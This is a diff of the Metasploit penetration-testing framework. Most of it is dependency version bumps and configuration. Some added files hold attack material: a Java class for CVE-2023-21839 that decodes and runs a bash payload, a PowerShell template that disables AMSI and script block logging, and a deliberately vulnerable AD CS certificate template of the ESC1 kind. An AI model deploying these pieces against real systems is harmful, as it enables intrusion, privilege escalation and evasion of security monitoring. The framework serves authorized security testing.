diff --git a/.gitignore b/.gitignore
index 5095757ae6064..818bc0f616a26 100644
--- a/.gitignore
+++ b/.gitignore
@@ -19,6 +19,8 @@ Gemfile.local.lock
.yardoc
# Mac OS X files
.DS_Store
+# Ignore Solargraph config file
+.solargraph.yml
# database config for testing
config/database.yml
# target config file for testing
diff --git a/.solargraph.yml b/.solargraph.yml
new file mode 100644
index 0000000000000..2d9ba29634e39
--- /dev/null
+++ b/.solargraph.yml
@@ -0,0 +1,28 @@
+---
+include:
+- "**/*.rb"
+exclude:
+- spec/**/*
+- test/**/*
+- vendor/**/*
+- ".bundle/**/*"
+- modules/**/*
+- data/**/*
+- db/**/*
+- external/**/*
+- plugins/**/*
+- scripts/**/* # Some of this is old and may not need indexing???
+require: []
+domains: []
+reporters:
+- rubocop
+- require_not_found
+formatter:
+ rubocop:
+ cops: safe
+ except: []
+ only: []
+ extra_args: []
+require_paths: []
+plugins: []
+max_files: 0
diff --git a/Gemfile.lock b/Gemfile.lock
index d31aa0cc81786..bc9717257462b 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,13 +1,14 @@
PATH
remote: .
specs:
- metasploit-framework (6.3.17)
+ metasploit-framework (6.3.22)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
+ aws-sdk-ssm
bcrypt
bcrypt_pbkdf
bootsnap
@@ -31,7 +32,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
- metasploit-payloads (= 2.0.130)
+ metasploit-payloads (= 2.0.141)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.20)
mqtt
@@ -42,7 +43,7 @@ PATH
net-ssh
network_interface
nexpose
- nokogiri
+ nokogiri (~> 1.14.0)
octokit (~> 4.0)
openssl-ccm
openvas-omp
@@ -99,25 +100,25 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
- actionpack (7.0.4.3)
- actionview (= 7.0.4.3)
- activesupport (= 7.0.4.3)
- rack (~> 2.0, >= 2.2.0)
+ actionpack (7.0.5)
+ actionview (= 7.0.5)
+ activesupport (= 7.0.5)
+ rack (~> 2.0, >= 2.2.4)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
- actionview (7.0.4.3)
- activesupport (= 7.0.4.3)
+ actionview (7.0.5)
+ activesupport (= 7.0.5)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
- activemodel (7.0.4.3)
- activesupport (= 7.0.4.3)
- activerecord (7.0.4.3)
- activemodel (= 7.0.4.3)
- activesupport (= 7.0.4.3)
- activesupport (7.0.4.3)
+ activemodel (7.0.5)
+ activesupport (= 7.0.5)
+ activerecord (7.0.5)
+ activemodel (= 7.0.5)
+ activesupport (= 7.0.5)
+ activesupport (7.0.5)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
@@ -129,25 +130,28 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
- aws-partitions (1.749.0)
- aws-sdk-core (3.171.0)
+ aws-partitions (1.776.0)
+ aws-sdk-core (3.174.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
- aws-sdk-ec2 (1.375.0)
- aws-sdk-core (~> 3, >= 3.165.0)
+ aws-sdk-ec2 (1.382.0)
+ aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
- aws-sdk-iam (1.77.0)
- aws-sdk-core (~> 3, >= 3.165.0)
+ aws-sdk-iam (1.79.0)
+ aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
- aws-sdk-kms (1.63.0)
- aws-sdk-core (~> 3, >= 3.165.0)
+ aws-sdk-kms (1.66.0)
+ aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
- aws-sdk-s3 (1.120.1)
- aws-sdk-core (~> 3, >= 3.165.0)
+ aws-sdk-s3 (1.123.1)
+ aws-sdk-core (~> 3, >= 3.174.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
+ aws-sdk-ssm (1.151.0)
+ aws-sdk-core (~> 3, >= 3.174.0)
+ aws-sigv4 (~> 1.1)
aws-sigv4 (1.5.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
@@ -164,7 +168,7 @@ GEM
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
- debug (1.7.2)
+ debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
@@ -191,11 +195,11 @@ GEM
railties (>= 5.0.0)
faker (3.2.0)
i18n (>= 1.8.11, < 2)
- faraday (2.7.4)
+ faraday (2.7.6)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
- faraday-retry (2.1.0)
+ faraday-retry (2.2.0)
faraday (~> 2.0)
faye-websocket (0.11.2)
eventmachine (>= 0.12.0)
@@ -217,10 +221,10 @@ GEM
domain_name (~> 0.5)
http_parser.rb (0.8.0)
httpclient (2.8.3)
- i18n (1.12.0)
+ i18n (1.14.1)
concurrent-ruby (~> 1.0)
io-console (0.6.0)
- irb (1.6.4)
+ irb (1.7.0)
reline (>= 0.3.0)
jmespath (1.6.2)
jsobfu (0.4.2)
@@ -230,9 +234,9 @@ GEM
logging (2.3.1)
little-plugger (~> 1.1)
multi_json (~> 1.14)
- loofah (2.20.0)
+ loofah (2.21.3)
crass (~> 1.0.2)
- nokogiri (>= 1.5.9)
+ nokogiri (>= 1.12.0)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (5.0.1)
@@ -240,7 +244,7 @@ GEM
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
- metasploit-credential (6.0.4)
+ metasploit-credential (6.0.5)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -254,7 +258,7 @@ GEM
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
- metasploit-payloads (2.0.130)
+ metasploit-payloads (2.0.141)
metasploit_data_models (6.0.2)
activerecord (~> 7.0)
activesupport (~> 7.0)
@@ -267,7 +271,7 @@ GEM
webrick
metasploit_payloads-mettle (1.0.20)
method_source (1.0.0)
- mini_portile2 (2.8.1)
+ mini_portile2 (2.8.2)
minitest (5.18.0)
mqtt (0.6.0)
msgpack (1.6.1)
@@ -284,7 +288,7 @@ GEM
network_interface (0.0.2)
nexpose (7.3.0)
nio4r (2.5.9)
- nokogiri (1.14.3)
+ nokogiri (1.14.5)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
@@ -297,8 +301,9 @@ GEM
packetfu (1.1.13)
pcaprub
parallel (1.23.0)
- parser (3.2.2.1)
+ parser (3.2.2.3)
ast (~> 2.4.1)
+ racc
patch_finder (1.0.2)
pcaprub (0.13.1)
pdf-reader (2.11.0)
@@ -307,7 +312,7 @@ GEM
hashery (~> 2.0)
ruby-rc4
ttfunk
- pg (1.4.6)
+ pg (1.5.3)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
@@ -315,10 +320,10 @@ GEM
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
- puma (6.2.2)
+ puma (6.3.0)
nio4r (~> 2.0)
- racc (1.6.2)
- rack (2.2.6.4)
+ racc (1.7.0)
+ rack (2.2.7)
rack-protection (3.0.6)
rack
rack-test (2.1.0)
@@ -326,11 +331,12 @@ GEM
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
- rails-html-sanitizer (1.5.0)
- loofah (~> 2.19, >= 2.19.1)
- railties (7.0.4.3)
- actionpack (= 7.0.4.3)
- activesupport (= 7.0.4.3)
+ rails-html-sanitizer (1.6.0)
+ loofah (~> 2.21)
+ nokogiri (~> 1.14)
+ railties (7.0.5)
+ actionpack (= 7.0.5)
+ activesupport (= 7.0.5)
method_source
rake (>= 12.2)
thor (~> 1.0)
@@ -344,7 +350,7 @@ GEM
nokogiri
redcarpet (3.6.0)
regexp_parser (2.8.0)
- reline (0.3.3)
+ reline (0.3.5)
io-console (~> 0.5)
rex-arch (0.1.14)
rex-text
@@ -354,7 +360,7 @@ GEM
rex-core
rex-struct2
rex-text
- rex-core (0.1.30)
+ rex-core (0.1.31)
rex-encoder (0.1.6)
metasm
rex-arch
@@ -373,7 +379,7 @@ GEM
rex-arch
rex-ole (0.1.7)
rex-text
- rex-powershell (0.1.97)
+ rex-powershell (0.1.98)
rex-random_identifier
rex-text
ruby-rc4
@@ -384,14 +390,14 @@ GEM
metasm
rex-core
rex-text
- rex-socket (0.1.49)
+ rex-socket (0.1.52)
rex-core
rex-sslscan (0.1.9)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
- rex-text (0.2.50)
+ rex-text (0.2.52)
rex-zip (0.1.4)
rex-text
rexml (3.2.5)
@@ -400,26 +406,26 @@ GEM
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
- rspec-core (3.12.1)
+ rspec-core (3.12.2)
rspec-support (~> 3.12.0)
- rspec-expectations (3.12.2)
+ rspec-expectations (3.12.3)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.5)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
- rspec-rails (6.0.1)
+ rspec-rails (6.0.3)
actionpack (>= 6.1)
activesupport (>= 6.1)
railties (>= 6.1)
- rspec-core (~> 3.11)
- rspec-expectations (~> 3.11)
- rspec-mocks (~> 3.11)
- rspec-support (~> 3.11)
+ rspec-core (~> 3.12)
+ rspec-expectations (~> 3.12)
+ rspec-mocks (~> 3.12)
+ rspec-support (~> 3.12)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.12.0)
- rubocop (1.50.2)
+ rubocop (1.52.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.2.0.0)
@@ -429,7 +435,7 @@ GEM
rubocop-ast (>= 1.28.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 3.0)
- rubocop-ast (1.28.0)
+ rubocop-ast (1.29.0)
parser (>= 3.2.1.0)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
@@ -458,7 +464,7 @@ GEM
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.6)
tilt (~> 2.0)
- sqlite3 (1.6.2)
+ sqlite3 (1.6.3)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
strptime (0.2.5)
@@ -467,8 +473,8 @@ GEM
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
- thor (1.2.1)
- tilt (2.1.0)
+ thor (1.2.2)
+ tilt (2.2.0)
timecop (0.9.6)
timeout (0.3.2)
ttfunk (1.7.0)
@@ -504,7 +510,7 @@ GEM
xmlrpc (0.3.2)
webrick
yard (0.9.34)
- zeitwerk (2.6.7)
+ zeitwerk (2.6.8)
PLATFORMS
ruby
diff --git a/LICENSE_GEMS b/LICENSE_GEMS
index fdc00e9c314fd..35489362ebfcc 100644
--- a/LICENSE_GEMS
+++ b/LICENSE_GEMS
@@ -1,21 +1,22 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
-actionpack, 7.0.4.3, MIT
-actionview, 7.0.4.3, MIT
-activemodel, 7.0.4.3, MIT
-activerecord, 7.0.4.3, MIT
-activesupport, 7.0.4.3, MIT
+actionpack, 7.0.5, MIT
+actionview, 7.0.5, MIT
+activemodel, 7.0.5, MIT
+activerecord, 7.0.5, MIT
+activesupport, 7.0.5, MIT
addressable, 2.8.4, "Apache 2.0"
afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
-aws-partitions, 1.749.0, "Apache 2.0"
-aws-sdk-core, 3.171.0, "Apache 2.0"
-aws-sdk-ec2, 1.375.0, "Apache 2.0"
-aws-sdk-iam, 1.77.0, "Apache 2.0"
-aws-sdk-kms, 1.63.0, "Apache 2.0"
-aws-sdk-s3, 1.120.1, "Apache 2.0"
+aws-partitions, 1.776.0, "Apache 2.0"
+aws-sdk-core, 3.174.0, "Apache 2.0"
+aws-sdk-ec2, 1.382.0, "Apache 2.0"
+aws-sdk-iam, 1.79.0, "Apache 2.0"
+aws-sdk-kms, 1.66.0, "Apache 2.0"
+aws-sdk-s3, 1.123.1, "Apache 2.0"
+aws-sdk-ssm, 1.151.0, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
@@ -31,7 +32,7 @@ concurrent-ruby, 1.2.2, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
-debug, 1.7.2, "ruby, Simplified BSD"
+debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.70.0, "Apache 2.0"
docile, 1.4.0, MIT
@@ -44,9 +45,9 @@ eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 3.2.0, MIT
-faraday, 2.7.4, MIT
+faraday, 2.7.6, MIT
faraday-net_http, 3.0.2, MIT
-faraday-retry, 2.1.0, MIT
+faraday-retry, 2.2.0, MIT
faye-websocket, 0.11.2, "Apache 2.0"
ffi, 1.15.5, "New BSD"
filesize, 0.2.0, MIT
@@ -59,26 +60,26 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.5, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
-i18n, 1.12.0, MIT
+i18n, 1.14.1, MIT
io-console, 0.6.0, "ruby, Simplified BSD"
-irb, 1.6.4, "ruby, Simplified BSD"
+irb, 1.7.0, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.3, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
-loofah, 2.20.0, MIT
+loofah, 2.21.3, MIT
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
-metasploit-credential, 6.0.4, "New BSD"
-metasploit-framework, 6.3.17, "New BSD"
+metasploit-credential, 6.0.5, "New BSD"
+metasploit-framework, 6.3.22, "New BSD"
metasploit-model, 5.0.1, "New BSD"
-metasploit-payloads, 2.0.130, "3-clause (or ""modified"") BSD"
+metasploit-payloads, 2.0.141, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
-mini_portile2, 2.8.1, MIT
+mini_portile2, 2.8.2, MIT
minitest, 5.18.0, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
@@ -92,7 +93,7 @@ net-ssh, 7.1.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.9, MIT
-nokogiri, 1.14.3, MIT
+nokogiri, 1.14.5, MIT
nori, 2.6.0, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
@@ -100,22 +101,22 @@ openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.23.0, MIT
-parser, 3.2.2.1, MIT
+parser, 3.2.2.3, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.11.0, MIT
-pg, 1.4.6, "Simplified BSD"
+pg, 1.5.3, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.1, MIT
-puma, 6.2.2, "New BSD"
-racc, 1.6.2, "ruby, Simplified BSD"
-rack, 2.2.6.4, MIT
+puma, 6.3.0, "New BSD"
+racc, 1.7.0, "ruby, Simplified BSD"
+rack, 2.2.7, MIT
rack-protection, 3.0.6, MIT
rack-test, 2.1.0, MIT
rails-dom-testing, 2.0.3, MIT
-rails-html-sanitizer, 1.5.0, MIT
-railties, 7.0.4.3, MIT
+rails-html-sanitizer, 1.6.0, MIT
+railties, 7.0.5, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rasn1, 0.12.1, MIT
@@ -123,36 +124,36 @@ rb-readline, 0.5.5, BSD
recog, 3.1.1, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.8.0, MIT
-reline, 0.3.3, ruby
+reline, 0.3.5, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
-rex-core, 0.1.30, "New BSD"
+rex-core, 0.1.31, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.38, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
rex-ole, 0.1.7, "New BSD"
-rex-powershell, 0.1.97, "New BSD"
+rex-powershell, 0.1.98, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
-rex-socket, 0.1.49, "New BSD"
+rex-socket, 0.1.52, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
-rex-text, 0.2.50, "New BSD"
+rex-text, 0.2.52, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.12.0, MIT
-rspec-core, 3.12.1, MIT
-rspec-expectations, 3.12.2, MIT
+rspec-core, 3.12.2, MIT
+rspec-expectations, 3.12.3, MIT
rspec-mocks, 3.12.5, MIT
-rspec-rails, 6.0.1, MIT
+rspec-rails, 6.0.3, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.12.0, MIT
-rubocop, 1.50.2, MIT
-rubocop-ast, 1.28.0, MIT
+rubocop, 1.52.0, MIT
+rubocop-ast, 1.29.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
@@ -166,13 +167,13 @@ simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 3.0.6, MIT
-sqlite3, 1.6.2, "New BSD"
+sqlite3, 1.6.3, "New BSD"
sshkey, 2.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
-thor, 1.2.1, MIT
-tilt, 2.1.0, MIT
+thor, 1.2.2, MIT
+tilt, 2.2.0, MIT
timecop, 0.9.6, MIT
timeout, 0.3.2, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
@@ -192,4 +193,4 @@ winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.34, MIT
-zeitwerk, 2.6.7, MIT
+zeitwerk, 2.6.8, MIT
diff --git a/data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml b/data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml
new file mode 100644
index 0000000000000..b118be6ae7221
--- /dev/null
+++ b/data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml
@@ -0,0 +1,27 @@
+---
+# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
+# the request). Fields are based on the SubCA template. For field descriptions,
+# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
+showInAdvancedViewOnly: 'TRUE'
+# this security descriptor grants all permissions to all authenticated users
+nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
+flags: 0
+pKIDefaultKeySpec: 2
+pKIKeyUsage: !binary |-
+ hgA=
+pKIMaxIssuingDepth: -1
+pKICriticalExtensions:
+- 2.5.29.19
+- 2.5.29.15
+pKIExpirationPeriod: !binary |-
+ AEAepOhl+v8=
+pKIOverlapPeriod: !binary |-
+ AICmCv/e//8=
+pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
+msPKI-RA-Signature: 0
+msPKI-Enrollment-Flag: 0
+# CT_FLAG_EXPORTABLE_KEY
+msPKI-Private-Key-Flag: 0x10
+# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
+msPKI-Certificate-Name-Flag: 1
+msPKI-Minimal-Key-Size: 2048
diff --git a/data/evasion/windows/bypass_powershell_protections.erb.graphml b/data/evasion/windows/bypass_powershell_protections.erb.graphml
index 6b28bc8c300b3..1e0d88b3f61f8 100644
--- a/data/evasion/windows/bypass_powershell_protections.erb.graphml
+++ b/data/evasion/windows/bypass_powershell_protections.erb.graphml
@@ -8,6 +8,19 @@
+
+ 1
+ block
+
+ 1
+ block
+
+ 2
+ instruction
+ If($PSVersionTable.PSVersion.Major -lt 3){Exit}
+
+
+
1
block
@@ -17,158 +30,114 @@
1
instruction
- If($PSVersionTable.PSVersion.Major -ge 3){
+ $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
2
instruction
- $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
+ $Ref1=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.AmsiUtils', threshold: 0.3) %>);
3
instruction
- $Ref1=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.AmsiUtils', threshold: 0.3) %>);
+ If($Ref1) { $Ref1.GetField(<%= Rex::Powershell::Obfu.scate_string_literal('amsiInitFailed', threshold: 1) %>,'NonPublic,Static').SetValue($null,$true); }
4
instruction
- if ($Ref1) { $Ref1.GetField(<%= Rex::Powershell::Obfu.scate_string_literal('amsiInitFailed', threshold: 0.3) %>,'NonPublic,Static').SetValue($null,$true); };
+ $Ref2=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.Utils') %>);
5
instruction
- $Ref2=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.Utils') %>);
+ $GPF=$Ref2.GetField('cachedGroupPolicySettings','NonPublic,Static');
6
instruction
- $GPF=$Ref2.GetField('cachedGroupPolicySettings','NonPublic,Static');
+ $SBL=<%= Rex::Powershell::Obfu.scate_string_literal('ScriptBlockLogging') %>;
7
instruction
- If ($GPF) {
+ $EnableSBL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockLogging') %>;
8
instruction
- $SBL=<%= Rex::Powershell::Obfu.scate_string_literal('ScriptBlockLogging') %>;
+ $EnableSBIL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockInvocationLogging') %>;
9
instruction
- $EnableSBL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockLogging') %>;
+ If($GPF) { $GPC=$GPF.GetValue($null); }
-
+
+
+
+
+
+
+
+ 10
+ block
+
+ 10
+ block
+
10
instruction
- $EnableSBIL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockInvocationLogging') %>;
+ If($GPF -And $GPC[$SBL]) { $GPC[$SBL][$EnableSBL]=0; }
-
+
11
instruction
- $GPC=$GPF.GetValue($null);
+ If($GPF -And $GPC[$SBL]) { $GPC[$SBL][$EnableSBIL]=0; }
-
-
-
-
-
-
-
-
+
12
block
12
block
-
+
12
instruction
- If($GPC[$SBL]){
+ If($GPF) { $val.Add($EnableSBL,0); }
-
+
13
instruction
- $GPC[$SBL][$EnableSBL]=0;
+ If($GPF) { $val.Add($EnableSBIL,0); }
-
+
14
instruction
- $GPC[$SBL][$EnableSBIL]=0;
-
-
- 15
- instruction
- }
+ If($GPF) { $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$SBL]=$val; }
-
-
-
-
+
+
-
- 16
+
+ 15
block
- 16
+ 15
block
-
- 16
- instruction
- $val.Add($EnableSBL,0);
-
-
- 17
- instruction
- $val.Add($EnableSBIL,0);
-
-
- 18
- instruction
- $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$SBL]=$val;
-
-
-
-
-
-
- 19
- block
-
- 19
- block
-
- 19
- instruction
- } Else {
-
-
- 20
- instruction
- [Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.ScriptBlock') %>).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
-
-
- 21
- instruction
- }
-
-
- 22
+
+ 15
instruction
- };
+ If(!$GPF) { [Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.ScriptBlock') %>).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); }
-
-
-
-
-
-
-
+
+
+
+
+
diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.class b/data/exploits/CVE-2023-21839/PayloadRuns.class
new file mode 100644
index 0000000000000..d6ee272398d63
Binary files /dev/null and b/data/exploits/CVE-2023-21839/PayloadRuns.class differ
diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.java b/data/exploits/CVE-2023-21839/PayloadRuns.java
new file mode 100644
index 0000000000000..03e1bb6d95428
--- /dev/null
+++ b/data/exploits/CVE-2023-21839/PayloadRuns.java
@@ -0,0 +1,11 @@
+import java.util.Base64;
+
+public class PayloadRuns {
+ static {
+ try {
+ Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
+ } catch (Exception ex) {
+ ex.printStackTrace();
+ }
+ }
+}
\ No newline at end of file
diff --git a/data/rocketmq_versions_list.json b/data/rocketmq_versions_list.json
new file mode 100644
index 0000000000000..dc9df46123d88
--- /dev/null
+++ b/data/rocketmq_versions_list.json
@@ -0,0 +1,615 @@
+[
+ "V3_0_0_SNAPSHOT",
+ "V3_0_0_ALPHA1",
+ "V3_0_0_BETA1",
+ "V3_0_0_BETA2",
+ "V3_0_0_BETA3",
+ "V3_0_0_BETA4",
+ "V3_0_0_BETA5",
+ "V3_0_0_BETA6_SNAPSHOT",
+ "V3_0_0_BETA6",
+ "V3_0_0_BETA7_SNAPSHOT",
+ "V3_0_0_BETA7",
+ "V3_0_0_BETA8_SNAPSHOT",
+ "V3_0_0_BETA8",
+ "V3_0_0_BETA9_SNAPSHOT",
+ "V3_0_0_BETA9",
+ "V3_0_0_FINAL",
+ "V3_0_1_SNAPSHOT",
+ "V3_0_1",
+ "V3_0_2_SNAPSHOT",
+ "V3_0_2",
+ "V3_0_3_SNAPSHOT",
+ "V3_0_3",
+ "V3_0_4_SNAPSHOT",
+ "V3_0_4",
+ "V3_0_5_SNAPSHOT",
+ "V3_0_5",
+ "V3_0_6_SNAPSHOT",
+ "V3_0_6",
+ "V3_0_7_SNAPSHOT",
+ "V3_0_7",
+ "V3_0_8_SNAPSHOT",
+ "V3_0_8",
+ "V3_0_9_SNAPSHOT",
+ "V3_0_9",
+ "V3_0_10_SNAPSHOT",
+ "V3_0_10",
+ "V3_0_11_SNAPSHOT",
+ "V3_0_11",
+ "V3_0_12_SNAPSHOT",
+ "V3_0_12",
+ "V3_0_13_SNAPSHOT",
+ "V3_0_13",
+ "V3_0_14_SNAPSHOT",
+ "V3_0_14",
+ "V3_0_15_SNAPSHOT",
+ "V3_0_15",
+ "V3_1_0_SNAPSHOT",
+ "V3_1_0",
+ "V3_1_1_SNAPSHOT",
+ "V3_1_1",
+ "V3_1_2_SNAPSHOT",
+ "V3_1_2",
+ "V3_1_3_SNAPSHOT",
+ "V3_1_3",
+ "V3_1_4_SNAPSHOT",
+ "V3_1_4",
+ "V3_1_5_SNAPSHOT",
+ "V3_1_5",
+ "V3_1_6_SNAPSHOT",
+ "V3_1_6",
+ "V3_1_7_SNAPSHOT",
+ "V3_1_7",
+ "V3_1_8_SNAPSHOT",
+ "V3_1_8",
+ "V3_1_9_SNAPSHOT",
+ "V3_1_9",
+ "V3_2_0_SNAPSHOT",
+ "V3_2_0",
+ "V3_2_1_SNAPSHOT",
+ "V3_2_1",
+ "V3_2_2_SNAPSHOT",
+ "V3_2_2",
+ "V3_2_3_SNAPSHOT",
+ "V3_2_3",
+ "V3_2_4_SNAPSHOT",
+ "V3_2_4",
+ "V3_2_5_SNAPSHOT",
+ "V3_2_5",
+ "V3_2_6_SNAPSHOT",
+ "V3_2_6",
+ "V3_2_7_SNAPSHOT",
+ "V3_2_7",
+ "V3_2_8_SNAPSHOT",
+ "V3_2_8",
+ "V3_2_9_SNAPSHOT",
+ "V3_2_9",
+ "V3_3_1_SNAPSHOT",
+ "V3_3_1",
+ "V3_3_2_SNAPSHOT",
+ "V3_3_2",
+ "V3_3_3_SNAPSHOT",
+ "V3_3_3",
+ "V3_3_4_SNAPSHOT",
+ "V3_3_4",
+ "V3_3_5_SNAPSHOT",
+ "V3_3_5",
+ "V3_3_6_SNAPSHOT",
+ "V3_3_6",
+ "V3_3_7_SNAPSHOT",
+ "V3_3_7",
+ "V3_3_8_SNAPSHOT",
+ "V3_3_8",
